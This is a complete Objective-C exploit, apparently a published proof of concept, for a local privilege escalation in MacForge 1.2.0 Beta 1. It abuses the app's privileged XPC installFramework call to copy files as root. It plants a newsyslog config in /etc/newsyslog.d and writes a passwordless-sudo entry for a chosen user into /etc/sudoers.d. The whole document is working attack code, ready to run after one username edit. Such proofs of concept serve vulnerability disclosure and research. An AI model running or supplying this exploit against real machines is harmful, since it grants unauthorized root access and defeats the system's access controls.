MacForge 1.2.0 Beta 1 - Local Privilege Escalation

// gcc  -arch x86_64 -framework Foundation -o priv_esc exploit_v2.m


#import <Foundation/Foundation.h>
#import <unistd.h>

// XPC Protocol from class-dump
@protocol MFInjectorProtocol
- (void)installFramework:(NSString *)frameworkPath
               atlocation:(NSString *)destPath
                withReply:(void (^)(int result))reply;
@end

static void arbitraryCopy(NSString *src, NSString *dst) {
    NSString *serviceName = @"com.macenhance.MacForge.Injector.mach";

    // Privilege Connection
    NSXPCConnection *conn = [[NSXPCConnection alloc] initWithMachServiceName:serviceName
                                                                    options:NSXPCConnectionPrivileged];

    // Start Remote Protocol
    conn.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(MFInjectorProtocol)];
    [conn resume];

    id<MFInjectorProtocol> proxy = [conn remoteObjectProxyWithErrorHandler:^(NSError *err) {
        
    }];

    // Call Install Framework
    // Arbitrary Copy
    [proxy installFramework:src
                  atlocation:dst
                   withReply:^(int result) {
        if (result == 0) {
            // Not Working
            NSLog(@"File copied as root");
        } 
    }];
}


static void createTempFile(NSString *content, NSString *path){

    NSError *error = nil;
    BOOL ok = [content writeToFile:path
                        atomically:YES
                            encoding:NSUTF8StringEncoding
                            error:&error];
    if (ok) {
        NSLog(@"File written at %@", path);
    } else {
        NSLog(@"Error: %@", error);
    }

}


static void initialSetup(NSString *user){

    NSLog(@"Creating /tmp/dummy_log.log");
    // should act as sudoers file later
    NSString *content = [NSString stringWithFormat:@"%@ ALL=(ALL) NOPASSWD: ALL\n", user]; 
    NSString *path = @"/tmp/dummy_log.log";

    createTempFile(content, path);

    NSLog(@"Creating /tmp/malicious_newsyslog.conf");
    NSString *content2 = @"# logfile_path             owner:group  mode  count size when  flags\n/var/log/dummy_log.log   root:wheel   0440  1   1   *   B\n";
    NSString *path2 = @"/tmp/malicious_newsyslog.conf";

    createTempFile(content2, path2);

}

static BOOL checkRotateOwnedByRoot(NSString *path) {
    NSFileManager *fm = [NSFileManager defaultManager];
    BOOL exists = [fm fileExistsAtPath:path];

    if (!exists) {
        return NO;
    }

    NSError *error = nil;
    NSDictionary *attrs = [fm attributesOfItemAtPath:path error:&error];
    if (!attrs) {

        return NO;
    }

    NSString *owner = attrs[NSFileOwnerAccountName];
    NSNumber *ownerUID = attrs[NSFileOwnerAccountID];

    NSLog(@"The file %@ exists. Owner: %@ (UID=%@)", path, owner, ownerUID);

    // Verificamos si es root
    if ([owner isEqualToString:@"root"] || [ownerUID intValue] == 0) {
        NSLog(@"Is owned by root");
        return YES;
    } else {
        NSLog(@"Not owned by root");
        return NO;
    }
}

BOOL anyLogOrConfigExists(void) {
    NSArray *paths = @[
        @"/var/log/dummy_log.log",
        @"/var/log/dummy_log.log.0",
        @"/var/log/dummy_log.log.1",
        @"/var/log/dummy_log.log.2",
        @"/etc/newsyslog.d/malicious_newsyslog.conf"
    ];

    NSFileManager *fm = [NSFileManager defaultManager];

    for (NSString *path in paths) {
        if ([fm fileExistsAtPath:path]) {
            NSLog(@"The path %@ exists, do cleanup or change filenames", path);
            return YES; // Path exists, should rename paths
        }
    }
    return NO; // Ready to call exploit.
}


int main(int argc, const char * argv[]) {
    @autoreleasepool {

        // Create dummy log containing

        if (anyLogOrConfigExists()){

            return 1;

        }

        // User to add into sudoers
        NSString *user = @"nonroot"; // CHANGE THIS

        NSLog(@"Initial Setup");
        initialSetup(user);


        NSLog(@"Calling XPC exploit");
        NSLog(@"Copying /tmp/dummy_log.log to /var/log/dummy_log.log");
        arbitraryCopy(@"/tmp/dummy_log.log", @"/var/log/dummy_log.log");


        sleep(1);


        NSLog(@"Calling XPC exploit");
        NSLog(@"Copying /tmp/malicious_newsyslog.conf to /etc/newsyslog.d/malicious_newsyslog.conf");
        arbitraryCopy(@"/tmp/malicious_newsyslog.conf", @"/etc/newsyslog.d/malicious_newsyslog.conf");

        sleep(1);


        NSString *path = @"/var/log/dummy_log.log.0";


        NSLog(@"Waiting for newsyslog to run");

        while(!checkRotateOwnedByRoot(path)){
            sleep(5);
        }

        NSLog(@"Ready to copy to sudoers");

        sleep(1);
        NSLog(@"Calling XPC exploit");
        NSLog(@"Copying /var/log/dummy_log.log.0 to /etc/sudoers.d/nonroot");
        arbitraryCopy(@"/var/log/dummy_log.log.0", @"/etc/sudoers.d/nonroot");


        //[[NSRunLoop currentRunLoop] run];
    }
    return 0;
}